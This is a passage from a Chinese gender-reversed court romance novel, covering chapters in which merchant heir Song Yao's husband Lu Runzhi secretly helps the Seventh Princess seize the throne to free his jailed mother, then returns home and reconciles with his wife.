宋瑶摸了摸他的脑袋,既然他不想说,也没有逼他,“别乱想了,睡会儿吧。” 回程的时候,有人陪着,也不觉得时间难捱,花了月余才返回京城。 还剩下没几天就过年了,京城里大大小小的店铺,到处张灯结彩,百姓们准备购买年货,街上很多人,车马络绎不绝,十分热闹。 得知今日宋瑶和陆润之回来,宋府早已派人在门口等着,远远看到马车驶来,小厮立刻回去禀告。 宋琼带着夫郎,立刻来到门口等着。 当时陆润之差人送来一纸书信,说要去扬州找宋瑶,将二老吓得不轻,从京城到扬州,路途艰辛,又值冬日,行路更加艰难,她们的女婿一看就是娇养在闺中的男子,就是那种需要人精心伺候的温室娇花,如何能一个人从京城到扬州,万一中途出了什么事,她们就是有一百个头,也不敢给陆丞相交代啊。 直到宋瑶差人快马加鞭送来平安信,二老才微微放心,所幸期间陆丞相也从没过问,就连宋琼都觉得奇怪,陆丞相竟然能这么久对自家孩子不闻不问,也不止在忙些什么。 陆润之出去了多久,宋琼和李容就提心吊胆了多久,今日看到人平安归来,他们才放下心。 宋瑶一向是不让人担心的性子,在哪里都能不会委屈了自己,与出发前不无两样,倒是陆润之,眼瞧着瘦了一圈,下巴更尖了,回到了刚来宋家那会儿,但是精神气挺好。 令李容觉得惊讶的是,比起刚嫁到宋家时那个眉眼间布满冷淡的少年相比,如今陆润之眉眼间多了几分温和,看人时不自觉都带了几分笑意,倒是与宋瑶有了几分相似,他与宋瑶相携而来,看着都是一对感情甚笃的小妻夫。 宋琼道:“可算回来了,一路可还顺利?” 宋瑶笑,“母亲,我们这不是好好地站在你们面前吗?” 李容笑骂,“你自己倒面色红润,怎么把夫郎照顾的,瞧润之都瘦了不少。” 宋瑶自是没话反驳。 陆润之笑道:“父亲,我一切安好,妻主把我照顾得很好,您误会她了。” 李容笑:“你别护着她。” 宋琼揽着李容,“平安归来就好,外面冷,快快回屋吧。” 一家人其乐融融,走进宋府。 陆润之一向对家没什么概念,此刻回到宋府,却有了几分归属感。 府中也张灯结彩,大红灯笼高高挂起,添了几分年味。 一家人给宋瑶和陆润之接风洗尘,吃了团圆饭。 饭桌上,宋琼问了在扬州的事情,宋瑶一一回答。 宋琼抓住了关键点,“为什么税务司最后放弃收户税了?” 闻言,陆润之身体一僵。 宋瑶面色如常,随意道:“谁知道上面的人是如何打算的。” 宋琼经商多年,十分清楚那些官员的尿性,道:“恐怕不会就此罢休。” 宋瑶夹了青菜给陆润之,“兵来将挡,水来土掩。” 宋琼叹了一口气,“这些官员,暴利的茶商、盐商不管,偏偏要盯着我们穷不拉几的布商。” 宋瑶评价道:“您作为经常首富,说这话似乎不合适。” “我的钱都是我省吃俭用省下来的。”宋琼没好气,重重地拍了一下宋瑶,“你个败家子。” 宋瑶放下筷子,揉了揉被她拍的地方,不乐意了,“娘,你的夺命断掌,是要拍死我吗?” “叫什么叫,我又没使力。”宋琼说着,作势又要打她。 “母亲……”陆润之犹豫着出声。 “欸。”宋琼忙应道,慈祥地看着陆润之,“怎么了,润之。” 李容的目光在宋瑶和陆润之身上来回扫视,立即明了,掐了一把宋琼,“你别打阿瑶了,没看到润之都心疼了。” 陆润之闹了个脸色通红,手指在桌底下,悄悄拉了拉宋瑶的袖子。 宋瑶立刻会意,便拉着陆润之起身,“行了行了,时候不早了,我们也吃饱了,先回去休息了。” 宋琼嫌弃地摆摆手,“没大没小,回去吧。” 两人离开主院后,并没有直接回自己的院中。 宋瑶牵着陆润之在庭院中散步。 月色如水,微凉。 陆润之挽着宋瑶的胳膊,“方才母亲打你,还疼吗?” 宋瑶侧目看他,笑道:“怎么,心疼为妻?” 得到的回答是沉默,但是他的手却爬上了她的肩膀,为她揉了揉。 宋瑶只是下意识逗他,他脸皮薄,也没想他会回答。 半响,陆润之轻轻的声音传来,像羽毛轻轻落在了宋瑶心上,痒痒的。 “自是心疼的。”他道。 宋瑶脚步一顿,停下看他。 陆润之大胆地迎着她的目光,没有躲避。 宋瑶缓缓笑开,将人纳入怀中,没有说话,却好似又说了一切- 临近过年,裁布制新衣的人也很多,布行迎来了一年中生意最旺盛的时候,也是最繁忙的时候。 宋琼和宋瑶忙得脚不沾地,早出晚归,甚至有时候直接宿在铺中不回来。 陆润之不太习惯宋瑶不在身边,宋瑶第一次没回来的时候,他整宿未睡,不得安宁,最近心里总有不好的预感,总觉得隐隐要发生什么,却无从追起。 于此同时,京城早有传言,如今国库亏空,皇帝带头勤俭节约,缩减皇宫开支,以太女为首的众臣自请减少俸禄,还查了几个贪官污吏,脏银全都上缴了国库。 百姓对此纷纷叫好。 陆润之知道,这是太女已经开始动作了。 果不其然,没过多久,朝廷就颁布了新的赋税政策,提高了官员缴纳税收比例,除此之外,便主要是针对商户,从上到下以此是盐商、盐商、茶商、酒商等等,按照不同的比例,分层缴纳税收,主打一个多赚多缴,少赚少缴。 原本就是皇帝以身作则,官员都要多缴税,百姓自然没什么意见,商人的地位本就低下,比起扬州城布商纳税实践,如今颁布的政策已经十分宽容,商人们只微微抱怨后,便接受了。 太女将此事做的好看,赢得众多大臣的赞赏, 称皇帝选了一位优秀的继承人,天下社稷后续无忧。 然而这番话,听在皇帝耳中十分刺耳。偏偏太女的脑子在此时又坏了,她跑到皇帝面前,自请分担朝政,让皇帝好好修养身体。 气得皇帝当场一口老血吐了出来,阴沉着脸色问:“你就这么迫不及待?” 太女方知自己犯了什么错,当即吓出一身冷汗,跪地求饶。 皇帝直接一声令下,太女去宗庙为天下祈福,祈祷来年风调雨顺,只是归期未定,这无疑是个惊雷炸弹。 太女之事,在朝堂上下传的沸沸扬扬,皇帝喜怒无常,太女党人人自危。 七皇女对此喜闻乐见,一切都在意料之中,她的机会来了- 二月二十三,小年夜,天空飘起了小雪,瑞雪兆丰年。 下午那会儿街上已经没什么人了,今日客人不多,宋瑶早早地从铺中回家。 吃过晚饭,宋瑶和夫郎围着火炉闲话家常。 宋瑶:“今年购买布匹的客人很多,我与母亲恐怕要忙到腊月二十八。” 陆润之眼中失望滑过,“这么晚。” 宋瑶剥了核桃给他,笑道:“腊月二十八开始休息,一直到正月初六,可以在家好好陪陪你。” 陆润之接过核桃,“那你每天早些回来。”没有她在身边,总是睡不好。 宋瑶应了,“择日你回去看看丞相大人吧,去扬州前,我瞧着她面容清瘦,像是在为朝堂之事忧心,也不知最近如何了,你回去看看,也好放心,如果丞相大人愿意的话,就邀请她来家里,我们一家人吃个年夜饭,不然就她一个人在家里孤零零的。” 陆润之“嗯”了一声,但也清楚母亲是什么样的人,丞相大人如同所有官员一样,一向最看不起商人,她能接受宋瑶,已经十分不易,若让她来宋府吃饭,应该是不肯的。 “如今的赋税之策,对布行而言,还可以接受吗?”他问道。 宋瑶笑道:“倒是可以接受。” 陆润之也放下心来,总算是可以为她做点事情。 只是现在要不要告诉她呢。 宋瑶看了他一眼,火光映衬着他如玉的脸颊,照得隐隐发红,连脸颊上的毛细血管都能看到,她想了一下,继续道:“对于商业来说,是可以接受,只是一时还是难以充盈国库吧。” 陆润之也知这其中的道理,“确实如此,但目前也只能这样了。” 炭火燃烧发出噼里啪啦的声响。 这些日子,他一个人在家,面对她时表现得一如既往,只是眉眼间偶尔流露出迷茫之色,像是被关在牢笼的金丝雀。 宋瑶不忍见他这样,她本来就希望他闪闪发光。 “如今盐业,官商勾结盛行,部分利润则落入了官员口袋中,既如此,若是能如粮食一般,不如将盐业转为官营,还能帮助大些。”宋瑶点到为止。 陆润之直视着她的眼睛,顿了一下,才道:“你为何与我说这些?” 宋瑶被他问得一愣,“我以为你想听这些,你以前不是经常与我说这些的,今日怎么了?” 陆润之没回答她的话,他也说不上来为什么,忽然觉得有些闷闷的,她总是对他没有要求。 还没等到陆润之回去丞相府,丞相府的管家就先来宋府报信了。 管家行色匆匆,急得如热锅上的蚂蚁,按理说公子已经嫁到宋府,是宋府的人了,而且是一个男子,说了也无济于事,但是丞相大人就这么一个亲人,总得让他知情,或许还有办法呢。 “公子,丞相大人因太女一事,被牵连入狱了。” 陆润之手中的茶杯“嘭”地一声摔在地上。 第58章 陆润之随管家一起回了丞相府,带着青连一起,走时匆忙,甚至都没有给院子里的人留个信。 宋瑶晚上回来的时候,没有见到他,问起下人,下人说少主君带着青连匆匆离去,并未与他们交代行踪。 宋瑶想着,许是去外面,玩得久了些,等会儿便回来了。 下人又道:“少家主,下午那会儿,丞相府的管家来了,不知与少主君说了什么,少主君这才离开的,好像是回了丞相府。” 宋瑶蹙眉,心中有不好的预感,对下人道:“你差人去打听打听,丞相府发生了什么?” 下人离开后,房间内一时只剩下宋瑶一人,她竟然觉得有些安静,一丝不安隐隐缠绕在心头,她倒了杯茶,心不在焉地喝着,翻起桌案上陆润之未看完的书籍,眼眸闪了闪,叹了口气。 有什么事情,是不能与她说的吗? 就算着急去丞相府,连个留话的时间都没有吗? 丞相因太女之事而下狱的事情并没有被刻意隐瞒,宋府的下人很快打听到,估计不出明天,便闹得满城风雨。 下人回到宋府,向宋瑶回禀情况,“太女不知怎么被皇帝幽禁在太女府,还处置了朝中几位大人,丞相大人不知怎么因太女之事,被牵连入狱,具体细节不清楚,能打听到只有这么多。” 宋瑶听完,眉头皱得更紧。 宋瑶平日待人向来是笑意盈盈的,从不与下人生气,也并不曾责骂过他们,下人们也不怕她,于是下人此时把心里话说了出来,“少主君一介男子,已经嫁娶宋府,就算回去丞相府又有什么用呢,这个时候,最害怕的就是牵连到我们,理应避嫌才是。” 宋瑶轻飘飘地睨了侍女一眼,眼神略带警告。 侍女被她这一眼看得有些发怵,宋瑶待人温和,倒是头一次在家里露出这种冰冷的神色,侍女立刻道:“奴失言。” 宋瑶挥了挥手,“下去吧。” “是,少家主。”侍女走到门口时,瞥了一眼宋瑶,只见她摩挲着杯子,漫不经心地喝着茶,神色略带几分冷淡,比平日多了几分拒人千里之外的冷漠。 侍女隐隐觉得宋瑶有些生气,但好像又没有,她站在门口候着。 不多时,宋瑶出来了,身上披了大氅,手里抱着暖炉,吩咐道:“将我的马签来。” “是。”侍女下意识应道,随即反应过来,重新确认了一遍,“少家主,是马车还是?” 印象中,少家主好像很少骑马,尤其是成婚后,更是能坐马车就坐马车,骑马当然更快一些。 宋瑶:“牵马来。” 侍女将马匹牵到宋府门口,宋瑶接过缰绳,将火炉递给侍女,利落地翻身上马,动作娴熟。 侍女目露惊讶,问道:“少家主要去哪里,是否需要奴陪同?” “不用,我去趟丞相府,去去便回。”宋瑶双手拉住缰绳,双腿用力,马儿顿时像一阵风一样向前奔跑。 侍女望着宋瑶的身影,心中暗暗祈祷少家主和少主君平安无事,且不要牵连到宋府。 夜晚的京城,大街上空旷无人。 宋瑶很快来到丞相府,将马儿拴在树上,拿着马鞭,朝丞相府大门走去,敲了敲门。 半响,无人应。 宋瑶继续敲。 过了许久,里面才传来管家的声音,“来了,来了,别敲了,谁啊,大半夜的……” 管家打开门,看到是宋瑶,愣住了。 宋瑶习惯性地挂起温和的笑容,“周奶奶,多有打扰。” 管家看到是宋瑶,愣了一下,随即拉开门,“原来是宋少主,快请进,怎么这个时候来了。” 宋瑶走进门,直言道:“我来找润之,听府中下人说,润之与周奶奶一起回丞相府了,也不曾与我留个话,我放心不下,便前来看看。” 管家同为女人,能体会到宋瑶的心情,回到家发现夫郎不在,未留一个信,此刻还能笑得如沐春风, 保持冷静,管家是佩服的。 管家面露难色。 宋瑶瞧着她的神色,“润之不在府中?” 管家沉默。 宋瑶停下脚步,盯着她,“他去了哪里?” 管家抿了抿唇,目光闪躲。 宋瑶将她的神色尽收眼底,了然于心,也不在路上逼问她,便往厅堂走,打算细细盘问。 厅堂里,管家命人给宋瑶上了热茶。 管家劝道:“宋少主,您就别担心了,公子他不会有事的。” 宋瑶端起茶杯,睨了她一眼,没有说话,慢悠悠地呷了一口茶。 她这举动倒是惹得管家内心有些忐忑。 半响,宋瑶将茶杯轻轻放下,视线落在管家身上,神色莫测,重复了她方才的话,“公子他不会有事的。” 管家摸不准她这是什么态度,只见她眸中平静,叫人瞧不出什么。 宋瑶的手指放在桌面轻轻敲着,“周奶奶,你拿什么跟我保证?” 管家哑口无言。 说到底,管家这幅态度,也是觉得她一介商人,发挥不了什么用处,便同她的主子一起瞒着她。 宋瑶眯了眯眼,“现下丞相大人入狱,太女被幽禁,丞相府的人正是需要避嫌的时候,若他去找的是太女的人,岂不是坐实了这一罪名?” 管家下意识反驳,“不是。” 宋瑶紧接着问:“那是去找七皇女了?” 管家震惊地抬头,宋瑶一个商人,怎么会如此清楚朝堂之事,是公子与她说的吗,不,如果是公子与她说的,这个时候,公子便不会瞒着宋瑶,独自行动。 宋瑶具有压迫感的视线落在管家身上,沉了声音,“周奶奶,都这个时候,你还不与我说实话,若是出了事,谁来但这个责?” 她敛了笑,声音微沉,带了些冷漠,竟有几分上位者的气势。 管家被逼得有些喘不过气来,硬着头皮道:“公子不会有事的,您放心,等他回来,亲自与您解释。” 宋瑶:“这是他说的?” 管家又是沉默。 宋瑶的神色晦暗不明,半响,她没什么情绪地笑了笑,顿觉索然无味,管家如此闭口不谈,想必是他授意。 倒是心狠。 宋瑶本想继续问丞相具体发生了什么事,现在却不想再问,只淡淡地说了一句,“我知道了。” 说罢,她起身,大步流星,往外走。 管家有些慌,觉得今日的宋瑶与往日不同,连她都下意识觉得有些慌乱,追了上去,道:“宋少主,公子也是不想连累您,他也有难言之隐,请您体谅。” 听到管家的话,停下脚步,转过身来,一切情绪都已经被她压了下去,她又变成了平日温和的女君,“周奶奶,方才是我过于着急了,我自是体谅润之的,既如此,我便在家等他,多有打扰,周奶奶不必相送。” 虽然她如是说,但是管家心中依旧隐隐不安,只祈祷公子快快解决完事情,回去与宋瑶好好解释。 宋瑶离开丞相府,骑马往回赶。 管家如此笃定,丞相府肯定是有什么能够保命的武器,太女被幽禁,如果没有什么能能力的人帮助,恐难东山再起,陆润之多半是拿着筹码与七皇女谈判。 他既不与她说,那她便在家等他便是。 宋瑶可以理解,只是难免觉得有些失望罢了。 回到府中,已是深更半夜。 侍女见宋瑶一个人回来,便问道:“少主君呢?” 宋瑶:“他回娘家住几天,不必担心。”- 临近过年,气温骤降,京城纷纷扬扬飘起了大雪。 忽如一夜春风来,千树万树梨花开,这朝代也一夜之间变了天。 丞相入狱,太女被圈禁,皇帝旧疾复发,卧床不起,七皇女监国。 太女司马怀瑾率领五千兵马包围皇宫,打算篡位,却惨败于七皇女兵下,被一网打尽,送进了大牢。 七皇女把持朝政,平反叛乱有功,且侍奉为皇帝床前,孝心可鉴,深得帝心。 皇帝于病中废了司马怀瑾太女之位,立司马怀柔为太女。 献帝薨。 太女司马怀柔继位,大赦天下。 丞相陆清出狱,辞官还乡。 这纷纷扬扬的大雪掩盖了猩红的鲜血和一切罪孽。 这个年过得并不安分,没有往日的热闹,家家户户闭门不出,提心吊胆,直到新帝继位的消息传来,改年号为元朔,一切尘埃落定。 宋瑶也是在街坊间听见这些传言,她的夫郎不曾送过一封书信回来。 听下人说,出去买菜的时候,好似碰到了他们少主君,彼时他伴在还是太女的新帝左右,神色冷淡,高高在上,指着着下人,远远瞧着,就让人不敢靠近。 宋府上下都在传,他们少主君不知怎么,飞黄腾达了,怕是抛弃了少家主,可怜少家主只有这么一位夫郎,平日里将人宠上了天,却被如此对待。 宋府上上下下的人看宋瑶的眼神都有些怜悯。 就连宋琼和李容的心里也十分复杂,她们完全不知道发生了什么,一开始宋瑶只是说润之回娘家住几天,谁知后面又听说丞相入狱,润之也没回来,他们一边担心陆润之,一边又担心宋府被牵连。后来宫变的事情闹得沸沸扬扬,润之还是没回来,他们又去问宋瑶,宋瑶也只说无事。 上上下下提心吊胆过了一个年,明明自己的夫郎不见了,宋瑶却跟没事人一样,不知她是装的,还是真的不在意。 他们再次听到润之的消息,他已摇身一变,成了太女身边的红人。 如今也不知道什么情况了,所幸宋府没有受到任何牵连。 宋琼和李容内心十分复杂,不清楚润之和新帝到底什么关系,一时不知道如何评价,只是清楚,他们家和润之好不容易建立起来的关系已经回不到从前了。 润之应该不会回来了吧。 不回来也好,可能他们老宋家跟润之的缘分也到头了,他们再给宋瑶找个乖巧温顺粘人的夫郎,安安分分地过日子,离这些高官大户远远的。 新帝继位,朝堂如何变更是那些官员的事,老百姓还是过自己的平淡日子,茶余饭后,也只希望新帝继位后,她们的日子能够好过些,不要为难老百姓。 开年以后,宋瑶照常料理布行的生意,也没有派人去打听陆润之的消息,只当什么都没有发生。 身边的人都默认宋瑶被抛弃了,虽然她没有表现出来,但背地里肯定偷偷伤心,毕竟她曾经那么痴情。 宋府内陆润之用品和书房,宋瑶始终未让人动过,一切保持原样,下人们猜测,可怜的少家主还在痴痴地期盼着少主君回来。 宋琼和李容也不敢再他面前提起任何消息,只当从来没有陆润之这个女婿,心里还是微微埋怨,他们自认待陆润之不薄,却遭如此对待,连一句话都没有,着实有些过分。 与此同时,他们也在为宋瑶物色新的小郎君。 过了正月十五,正月十六这天,宋瑶难得在家休息,吃过午饭,叫了几个侍女,围在桌前玩纸牌游戏。 三位仆人的额头上被贴满了纸条,宋瑶浑身干干净净,面前摆的一锭银子,始终未被拿走。 “少家主太厉害了,我们根本赢不了。” “少家主,您让一让我们吧。” 宋瑶放下牌,笑,“我已然是让过你们的。” 一片其乐融融氛围中,有个侍女着急忙慌地跑进来,神色诚惶诚恐,气喘吁吁,结结巴巴道:“少家主……少家主,少主君,不,是陆大人,他来了……” 陆大人? 陪宋瑶打牌的侍女脑袋卡壳了一瞬,半响才反应过来指的是什么,应该是她们抛妻弃妻的少主君吧,三个侍女悄悄瞥了一眼少家主的神色。 只见宋瑶神色未变,只是淡淡看了传话的人一眼,平静道:“慌 什么,将人请进来就是。” 第59章 整个过年期间,陆润之没有一天睡好过,经常彻夜不眠,睁眼到天亮。 扳倒司马怀瑾,平叛乱,辅佐新帝登基,解救母亲……一桩接着一桩地事情挤满了他的脑海和生活,伴君如伴虎,他真正体会到了什么叫做如履薄冰。 成王败寇。 他走得是一条不归路,不成功便成仁,他不敢与宋瑶有任何联系,生怕连累了她。 一切尘埃落定,母亲平冤昭雪,从狱中出来,他去接她。 不知何时,母亲已经双鬓斑白,身形清隽。 从狱中出来,她看着他身后跟着的侍卫,深深地看了他一眼,未曾言语,只是摇摇头,叹了一口气。 后来,母亲递了辞官的折子,请求辞官返乡,颐养天年。 新帝看在他的面子上,准了。 母亲离开京城那天,他去送她。 母亲没有多说什么,瞧了瞧他身后,问道:“宋瑶没有一起来吗?” 他身体一僵。 母亲叹了口气,“你回头与她好好解释解释,宋瑶是世间难得好脾性的女子。” 他点了点头。 母亲又道:“你若选择了这条路,我便不再劝你,这一路不好走,你擅自保重。” 他忽然觉得鼻子有点酸,本以为母亲大骂他一顿,却没想会与他说这些。 “我知道了,母亲。”他道。 母亲还想说什么,欲言又止,最终也只是看了他一眼,拍了拍他的胳膊,翻身上了马车。 “母亲。”他叫住了她,犹豫地问道:“你去哪里?” 母亲脸上露出了一丝笑意,“在京城呆了大半辈子,便去江南当一个闲散老妇吧。”顿了下,“我会寄信给你的,不用担心。” 就这样,他送走了母亲,在京中,便只剩宋瑶了。 他参与宫变时,是以司马怀瑾给他准备的润玉的身份示人。 一切结束,新帝登基以后,铲除了一批前太女党的贪官污吏,下贬了一批昏庸无能之辈,一时朝中可用之人寥寥无几。 新帝破例以正三品中书令之位,三顾茅庐,躬请他留在朝中,辅佐新政,且以男子身份示人。 他拒绝了。 若是接了这中书令之位,他与宋瑶是真的不可能了。 新帝不解,问他:“朕看得出来,爱卿有经国之才,鸿鹄之志,为何推辞?” 他只摇头不语。 新帝瞧他半响,猜出了什么,“若爱卿的妻子真心相对,会理解爱卿的。” 新帝没有强迫他,只是允诺他,若想回朝廷,她的圣旨随时生效。 与她母皇不同,新帝聪慧,仁爱,忠孝,有勇有谋,将来会是一个好皇帝。 陆润之还是拒绝了。 新帝派人将陆润之送回宋府,不容拒绝。 马车停在宋府门前,陆润之从马车上下来,看门的侍卫看到他,面面相觑,面露茫然,仿佛不认识他了一样。 护士他回来的侍卫呵斥道:“还不快快通禀,陆大人回来了。” 稍微有点一官半职的,一向看不上做生意的。 看门的侍卫被吼的一愣,哪里见过这阵仗,忙道了声“是”,吓得着急忙慌地跑回了门内通报。 陆润之眼底闪过不悦,睨了一眼方才吼人的侍卫,是皇帝赐给他的侍卫之一,淡淡地问道:“你叫什么名字?” 侍卫只他如今是皇上面前的红人,谄笑道:“回大人,臣名唤吴云。” 陆润之瞥了她一眼,“吴云,你从哪里来便回哪里去吧,日后不必再跟着我。” 名唤吴云的侍卫当场愣在原地,不明白发生了什么,她只是按规矩办事而已,不知道自己做错了什么。 这种时候,不应该风风光光地回府,让宋家人另眼相看吗? 陆润之吩咐侍卫留在外面,自己一个人进了宋府。 今日的阳光很好,暖洋洋的,晒在身上很舒服,映照着府内的建筑,一片祥和。 明明没过多久,却恍若隔世。 陆润之的心里忽然生出了近乡情怯的感受,看到他的仆人满脸震惊,像是看到了鬼一样,他藏在袖中的手不自觉握紧。 他叫住了路过的小侍,声音有些发涩,“宋瑶,在吗?” 小侍诚惶诚恐地回答,“少家主在、在自己院中……” 陆润之刚回到熟悉的院子中,方才那个看门的侍卫便从房间内出来,看到他,立刻恭恭敬敬地道:“陆大人,少家主请您进去。” 看到她毕恭毕敬地模样,陆润之身体一僵,“不用唤我陆大人,向以往一样便好。” 侍卫的态度不敢丝毫怠慢,“是。” 陆润之站在房门前,迟迟没有迈脚,脑袋里一片空白,他在害怕。 她是知道他回来了的,特地有人去告诉她。 但是她在房间里,没有出来。 是生气了吗? 是了,她应该生气的,他一字未留地离开这么久。 她应该生他的气的。 他犯了一个大错。 侍卫疑惑地瞧着少主君站在门口,像一尊神圣的雕塑,一动不动,也不进去,是在做什么呢? 如果她没有看错的话,他好像在轻轻发抖? 天气回暖了,应该不冷吧。 不过可能少主君天生怕冷,这是宋府上下都知道的事情,所以如今少家主院中的炭火都未曾断供。 侍卫好心地提醒道:“您快进去吧,外面冷,房中燃着炭呢。” 陆润之没应,过了半响,他的身体才机械般地动起来,抬起脚,朝房间内走去。 侍卫瞧着他的背影,觉得他这几步走得艰难极了,倒不像是回家,而是像等着被审判的犯人,奔赴刑场。 有什么好怕的呢,少家主的脾气是出了名的温和,若好好与她解释,应该很快就可以和好的吧,毕竟少家主曾经对少主君这么好。 侍卫将人带到,连忙脚底抹油溜了,该说不说,这少主君出去一趟,浑身的气势变得更吓人了,说不上来,反正叫她们看到了就怕。 陆润之终于走了进去,是熟悉的房间和气息。 屋内,她摆了张桌子,桌上散落着纸牌,她和三个侍女一起,应是在玩纸牌,她坐在靠里的位置,手边放着坚果,姿态放松惬意。 侍女身上被贴满了纸条,她身上却不见一条。 陆润之轻轻抬眼,像是怕吓到了停留在花朵上的蝴蝶,又像是害怕,他握紧双手,视线轻轻落在了她身上,在空气中与她的视线相撞。 她挑了挑眉,眼中温和的笑意弥漫开来,没有生气,没有责怪,没有将他当做陌生人,像以往任何时候一样,仿佛他从未离开。 陆润之忽然觉得鼻尖微酸,像是归家的游子。 只是还未来得及放松,就听到她含笑的声音,像利剑扎在了他的心脏上。 “这不是小陆大人,有失远迎,有何贵干?” 第60章 陆润之进来的时候,宋瑶几乎是一眼就看到了他的身影。 仅大半个月的时间,那个少年的眼神都变了,原本如山涧般清澈见底,如今看人的时候多了几分莫测,却更加坚定,脸颊更瘦了,整个人洗像出鞘的利刃一般锋利,还是一样的好看。 宋瑶像以往一样,起了逗他的心思,“这不是小陆大人,有失远迎,有何贵干?” 除了那日得知他不告而别,没给他留个信,有些生气外,后面倒也没有生气,她知道他肯定是去救陆丞相,所选择之路也是没有办法,不告诉她的原因多半是为了宋家的安全考虑,万一出了事,宋家毫不知情。 想明白以后,宋瑶便安心在家等他,无论外界传言如何,她都没有去解释,如果他事情办成的话,会回来的。 今天他便回来了。 在她调侃他后,他便僵在原地,一动不动。 宋瑶笑道:“怎么,傻了?站着一动不动。” 陆润之抬眸看她,藏在袖子里的手狠狠握紧,眼睛里的情绪仿佛要碎掉了。 宋瑶顿了一下,起身,挥了挥手,示意下人下去。 屋内的下人立刻会意,退了出去。 宋瑶朝他招了招手,笑道:“过来坐下吧,我猜你有话 想对我说。” 她眼中含笑,那双桃花眼那么看着他,像以往一样,好像变了,又好像一切未曾改变。 他看不懂她的情绪。 陆润之鼻尖微酸,眼眶红红的,他现在浑身疲惫,很想冲过去,扑倒她怀里,告诉她,这些天,他有多想她。 但是,他不敢,他怕她在生气。 陆润之动了动嘴唇,说不出话,终于他迈起了步子,垂着头,慢慢地朝宋瑶走去,最后在距离她一步位置停下。 他抬起脸,眼眶到整个眼尾都是红红的,像只小兔子,又是她熟悉的少年模样。 他声音有些哽咽,“我现在说不出话。” 说完这几个字,他便停下。 宋瑶静静地等待下文。 过了一会儿,他才接着说道:“我可以抱抱你吗?” 宋瑶一愣,随即嘴角挂起无奈的笑容,向他张开怀抱。 陆润之垂下眼眸,立刻扑到她怀里,熟悉的气息将他包围,就像是风雪夜归人,忽然回到了温暖的家,家中炉火燃烧。 宋瑶将他揽入怀中,过了一会儿,感受到胸前的衣襟微湿,顿了一下,伸出手,轻轻拍着他的肩膀,包容着他的情绪。 也不知怎么了,明明功成名就,回来却像受了天大的委屈,眼睛红红的,像只小兔子。 等他情绪缓和了些,宋瑶才笑道:“怎么了这是,若是叫外人看到,小陆大人这委屈的模样,怕是要笑了。” “不要叫我小陆大人。”他闷闷的声音从怀中传来。 宋瑶拍着他的肩膀,哭笑不得,“好了好了。” 半响,陆润之才从她怀里退出来,鼻子一抽一抽的。 宋瑶带着他坐下,给他倒了杯茶。 陆润之乖乖把茶喝下,方才她的态度叫他安心不少。 宋瑶笑着问:“现在可与我说说了?” 她以前从不问他的,现在却问了。 陆润之抿了抿唇,放在膝盖上的手指捏紧了,看着她,“你不生气吗?” 宋瑶挑眉,“你先与我说说,我再决定生气不生气。” 陆润之坐了过去,拉住宋瑶放在桌上的手,握住,她一如既往宠溺的态度让他隐隐有了信心,“我说了,你不要生气。” 宋瑶笑着应了,“我答应你。” 陆润之松了口气,握紧了她的手,将脑海中盘旋了无数遍的话,终于脱口而出。 宋瑶耐心地等着,仿佛可以永远等下去,直到他说出口。 他道:“这些话,我很早就想跟你说,但是一直没有找到合适的时机,并非有意瞒着你,今天便从头到尾说给你。” “我与前太女司马怀瑾,早有婚约在身,这你也知道。我父亲早逝,母亲教导我长大,耳濡目染,学了点朝堂上的东西。自十四岁那年起,司马怀瑾便开始以朝堂上的事情问我的意见。” 他说得隐晦,只怕司马怀瑾因为他才保了这么多年太女之位的吧。 “后来嫁与你,自然与司马怀瑾断了往来,只是…”他顿了一下,与宋瑶十指相握。 宋瑶的视线下垂,落在与他交握的双手上。 他像小奶猫似的挠了挠她的手掌心,接着道:“后来司马怀瑾又托人带信与我,我…放不开。”他眼中隐隐闪过难堪,“…放不开朝堂之事,仿佛我生来就是要去做的。司马怀瑾为了捏造了假的身份,我便以假身份作为她的幕僚,为她做事。” “扬州针对布行征收额外赋税之事,也是司马怀瑾的主意,只是此事我不知情。后扬州发生暴乱,司马怀瑾又赶往扬州,计划镇压扬州百姓,此事你也知情。我与你说布行的事情由我来解决,就是我去找了司马怀瑾,说服她放弃针对布行,实行分层赋税之政,即如今的赋税政策。” “只是扬州之事,本就是针对司马怀瑾的圈套。后因司马怀瑾犯了大忌,先皇便禁了他的足,司马怀瑾以为我背叛了她,便违背诺言,拖母亲下水。事情发展到如今的局面,司马怀瑾背信弃义,我为救母亲,不得不接下当时的七皇女,如今新帝的橄榄枝,后来便是助平叛乱,助新帝登记,母亲也辞官还乡,事情尘埃落定,步入正轨,我便回来见你了。” 他言简意赅,其中的细节怕是比他描述得凶险百倍。 宋瑶观察到,方才他说到自己经历的时候,眼神中流露出是自信,运筹帷幄,亮晶晶的,当他说到最后,眼神就暗了下来。 他摇了摇宋瑶的手,“我刻意隐瞒你,因为我选择的路是一条不归路,若有任何意外,宋家的人全不知情,便与你们无关,可以脱罪。” 他全然不提司马怀柔躬身请他为官之事,被他深深压在心底。 “事实就是这样。”陆润之轻轻摩挲着她的手腕内侧,“你不要生我的气了。” 他低垂着头,敛眸,乖巧地等待着审判。 明明他也不曾做错过什么。 宋瑶轻轻叹了一口气,手覆上他的发顶,轻轻揉了揉,“我没有生气。” 陆润之茫然地抬头。 宋瑶的嘴角挂着温柔的笑意,“你凭自己的能力,扭转了局势,解救了母亲,保全了陆家,不曾牵连到宋家,我为你感到骄傲。” 陆润之愣愣地看着她,她眼中理解、包容、温柔,几乎又让他落泪。 宋瑶道:“起初回家找不到你,便去了丞相府,周奶奶对你的行踪闭口不谈,我当时是有些生气,后来仔细一想,便明白你的意思,这不是在家等你回来吗?” 陆润之目光颤动,“你不怪我不辞而别,这么多天不回家吗?” 宋瑶笑,“我岂是蛮不讲理之人。” 陆润之摇头,顿了下,又问道:“你不怪我不守男德……抛头露面吗?” 宋瑶:“我为你感到骄傲。” 陆润之红了眼眶,一个月来的所有紧张、害怕、忐忑不安,全部被她温柔坚定的话语瓦解,如一阵微风,抚平他所有的不安和恐惧,他从来不信鬼神,此刻却无比感念宋瑶能够出现在他身旁。 宋瑶眼中闪过一丝无奈,替他拭掉眼角的泪珠,“你是水做的吗?已经是小陆大人了,可不能再哭了。” 陆润之孩子气般道:“他们又不知道,而且我也不是小陆大人。” 说起这个,宋瑶道:“新帝没有留你在他身边吗?” 陆润之一僵。 宋瑶以为自己的话引起了歧义,又解释道:“我是指留你在朝为官。” 陆润之眼眸闪了一下,躲开她的眼神,半响才道:“没有。” 宋瑶笑了笑,“你骗我。” 陆润之心里一跳。 宋瑶:“换个角度思考,若换做我是皇帝,有你这样的臣子,断然不会放你走的。” “那你呢?”陆润之听她这么说,脱口而出,从她进门开始第一次直直地望进她的眼里。 